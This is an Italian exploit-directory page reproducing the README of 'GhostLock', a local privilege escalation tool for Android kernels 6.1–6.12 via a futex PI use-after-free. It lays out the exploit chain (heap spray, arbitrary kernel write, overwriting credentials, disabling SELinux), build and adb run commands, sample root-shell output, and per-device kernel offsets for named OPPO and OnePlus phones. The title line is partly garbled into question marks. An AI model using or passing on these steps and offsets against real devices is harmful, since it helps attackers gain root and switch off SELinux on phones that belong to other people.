Skip to content
KitploitKITPLOIT
StrumentiExploitsBlog
Log in
Invia
StrumentiExploitsBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
GhostLock — CVE-2026-43499 futex PI stack UAF ???????? - Android GKI 6.1~6.12 ??????? pselect() + futex PI ????????????,??? root ??? SELinux??? OPPO Find X8?OnePlus ?????? | Kitploit
Strumenti/GitHubGitHub/wzhdgithub/ghostlock
Sicurezza AndroidEscalation di PrivilegiAnalisi delle VulnerabilitàExploitReverse EngineeringBinary Exploitation
GitHubwzhdgithub/ghostlock

GhostLock

CVE-2026-43499 futex PI stack UAF ???????? - Android GKI 6.1~6.12 ??????? pselect() + futex PI ????????????,??? root ??? SELinux??? OPPO Find X8?OnePlus ??????

Vedi Repository
51191 mese faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

GhostLock - CVE-2026-43499 Exploit di escalation dei privilegi locali

Panoramica della vulnerabilità

ID CVE: CVE-2026-43499
Tipo di vulnerabilità: futex PI (priority inheritance) stack UAF (Use-After-Free)
Impatto: kernel Linux 6.1 ~ 6.12 (Android GKI)
Effetto dell'exploit: escalation dei privilegi locali + disabilitazione di SELinux, ottenere una root shell

Funzionamento

Percorso di attivazione della vulnerabilità

Spazio utente → pselect() → allocazione di rt_mutex_waiter sullo stack del kernel
                      → le operazioni futex PI attivano il rilascio del waiter
                      → la memoria del waiter rilasciata viene riutilizzata dalle operazioni fd_set
                      → i campi del waiter vengono controllati tramite dati fd_set costruiti con cura
                      → rb_erase() attiva la scrittura arbitraria nella memoria del kernel

Catena dell'exploit

  1. Attivazione della vulnerabilità: rilascio di rt_mutex_waiter sullo stack del kernel tramite la race condition di pselect() + futex PI
  2. Controllo del layout di memoria: heap spray del kernel con pipe_buffer per costruire un falso rt_mutex_waiter
  3. Scrittura arbitraria: sfruttare le operazioni ad albero di rb_erase() per scrivere puntatori controllati in un indirizzo di destinazione
  4. Percorso di escalation:
    • Modifica della struttura cred: uid/gid → 0, capabilities → tutte abilitate
    • Disabilitazione di SELinux: selinux_state.enforcing → 0
  5. Verifica: nuova scansione di ashmem_fops per confermare l'integrità di CFI

Struttura del progetto

GhostLock/
├── README.md                    # Questo documento
├── src/
│   ├── core/                    # Codice principale dell'exploit
│   │   ├── main.c               # Punto di ingresso principale, attivazione della vulnerabilità
│   │   ├── pipe.c               # Pipe buffer spray
│   │   ├── fops.c               # Hijacking delle operazioni sui file
│   │   ├── root.c               # Escalation dei privilegi + disabilitazione SELinux
│   │   ├── slide.c              # Gestione della randomizzazione degli indirizzi del kernel
│   │   ├── util.c               # Funzioni di utilità
│   │   ├── miniadb.c            # Mini server ADB
│   │   ├── common.h             # Definizioni comuni
│   │   ├── target.h             # Configurazione del target
│   │   ├── offset.h             # Include degli offset
│   │   ├── runtime_offsets.h    # Tabella degli offset a runtime
│   │   └── kernelsnitch/        # Sondaggio degli indirizzi del kernel
│   │       ├── kernelsnitch.h
│   │       ├── futex_hash.h
│   │       ├── utils.h
│   │       └── timeutils.h
│   └── devices/                 # Adattamento dei dispositivi
│       ├── offsets.h            # Definizione della struttura degli offset
│       ├── findx8/              # OPPO Find X8
│       │   └── offsets.h
│       ├── ace6t/               # OnePlus Ace 6T
│       │   └── offsets.h
│       ├── op15/                # OnePlus 15
│       │   └── offsets.h
│       ├── opd2502/             # OnePlus Pad 2
│       │   └── offsets.h
│       └── rmx5070/             # Realme RMX5070
│           └── offsets.h
├── tools/                       # Strumenti ausiliari
│   └── extract_btf.py           # Script di estrazione degli offset BTF
├── btf_*.py                     # Raccolta di script di analisi BTF
├── Makefile                     # Script di build
├── compile.cmd                  # Script di compilazione Windows
├── build.rsp                    # File di risposta alla compilazione
└── ghostlock                    # Artefatto di compilazione (ELF aarch64)

Dispositivi supportati

DispositivoVersione kernelStato
OPPO Find X8 (MT6991)6.6.118-android15✅ Adattato
OnePlus Ace 6T6.1.x✅ Verificato
OnePlus 156.1.x✅ Verificato
OnePlus Pad 26.1.x✅ Verificato
Realme RMX50706.1.x✅ Verificato

Compilazione

Requisiti di ambiente

  • Android NDK r27c o successivo
  • Python 3.x (per l'analisi BTF)
  • Linux/macOS/WSL (Linux consigliato)

Passaggi di compilazione

# 1. Imposta il percorso NDK
export ANDROID_NDK_HOME=/path/to/android-ndk-r27c

# 2. Compila
make

# 3. Oppure compila direttamente con NDK
$ANDROID_NDK_HOME/toolchains/llvm/prebuilt/linux-x86_64/bin/aarch64-linux-android35-clang \
  --target=aarch64-linux-android35 \
  -O2 -Wall -fPIE -pie -pthread \
  -Isrc/core -Isrc/devices \
  -DTARGET_CONFIG_H=\"target.h\" \
  src/core/*.c -o ghostlock

Compilazione Windows

# Usa il compile.cmd fornito
compile.cmd

Utilizzo

Prerequisiti

  1. Il telefono ha il debug USB abilitato
  2. Il computer ha i driver ADB installati
  3. Il telefono è collegato al computer via USB

Passaggi

# 1. Verifica la connessione del dispositivo
adb devices

# 2. Verifica la versione del kernel (deve corrispondere)
adb shell uname -r
# Output atteso: 6.6.118-android15-8-gebdfad32d749-ab15099304-4k

# 3. Copia l'exploit sul telefono
adb push ghostlock /data/local/tmp/
adb shell chmod 755 /data/local/tmp/ghostlock

# 4. Esegui l'exploit
adb shell /data/local/tmp/ghostlock

Esempio di output di esecuzione

[*] GhostLock - CVE-2026-43499 Local Privilege Escalation
[*] Target kernel: 6.6.118-android15-8-gebdfad32d749-ab15099304-4k
[*] KASLR base: 0xffffffc080000000
[*] ashmem_misc: 0xffffffc08227c518
[*] ashmem_fops: 0xffffffc0812ef5c0
[*] SELinux enforcing: 0xffffffc082358ee0
[*] Exploiting...
[+] PSELECT path activated
[+] Pipe merge path activated
[+] Root shell obtained!
[+] SELinux disabled
[*] miniadb listening on USB...

Indicatori di successo

  • Compare il prompt # (root shell)
  • Il comando id mostra uid=0(root)
  • getenforce restituisce Permissive

Dettagli tecnici

Layout di memoria del kernel

KIMAGE_TEXT_BASE = 0xffffffc080000000  (Find X8)
PAGE_OFFSET      = 0xffffffc000000000
PHYS_OFFSET      = 0x40000000
DIRECT_MAP_END   = 0xffffffc400000000  (16GB RAM)

Offset dei simboli chiave (Find X8)

SimboloOffset
init_task0x0211E280
init_cred0x02130748
selinux_enforcing0x02358EE0
ashmem_misc0x0227C518
ashmem_fops0x012EF5C0
kmalloc_caches0x0167A298

Offset delle strutture (verifica BTF)

StrutturaCampoOffset
task_structcred0x820
task_structreal_cred0x818
task_structtasks0x550
task_structpi_lock0x90C
task_structseccomp0x8E8
creduid0x08
credcaps0x30
file_operationsioctl0x48
file_operationssplice_read0xB8

Percorso dell'exploit

  1. kernelsnitch - scansiona la regione direct_map per localizzare mm_struct
  2. pipe spray - occupa la memoria del waiter rilasciata con pipe_buffer
  3. pselect trigger - attiva la UAF e riutilizza il waiter liberato
  4. rb_erase write - implementa la scrittura arbitraria tramite le operazioni dell'albero rosso-nero
  5. cred patch - modifica le credenziali del processo corrente
  6. SELinux disable - disabilita il controllo degli accessi obbligatorio

Adattamento dei dispositivi

Aggiungere un nuovo dispositivo

Scarica lo strumento